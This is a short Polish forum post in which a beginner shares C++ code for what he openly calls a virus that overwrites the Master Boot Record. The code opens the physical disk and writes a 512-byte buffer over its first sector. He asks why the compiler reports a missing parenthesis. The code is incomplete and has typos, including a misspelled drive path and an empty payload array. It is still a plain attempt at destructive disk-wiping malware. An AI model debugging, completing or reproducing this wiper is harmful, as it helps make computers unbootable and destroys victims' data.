Witam, mam taki kod:
#include <Windows.h>
#include <iostream>
#define NTDDI_WIN10
const unsigned char MasterBootRecord[] = {};
using namespace std;
int CALLBACK WinMain
(
HINSTANCE hInstance, HINSTANCE hPrveInstance
----> LPSTR lpCmdLine, int nCmdShow
)
{
DWORD dwytesWritten;
HANDLE MBR = CreateFileW(
L"\\\\.\\PsychicalDrive0", GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, NULL, NULL
);
if (WriteFile(MBR, MasterBootRecord, 512, &dwytesWritten, 0) == TRUE)
{
cout << "Master Boot Record has been over witten!" << endl;
Sleep(5000);
ExitProcess(0);
}
else
{
cout << "FAIL";
Sleep(5000);
ExitProcess(0);
}
CloseHandle(MBR);
return EXIT_SUCCESS;
}
i to jest na razie tyle bo pisze wirusa który nadpisuje MBR'a i mam taki błąd że: Oczekiwano znaku ")" w miejscu oznaczonym strzałką. Nie wiem dokładnie gdzie mogło by brakować tego nawiasu. jestem początkujący więc dziękuje za wyrozumiałość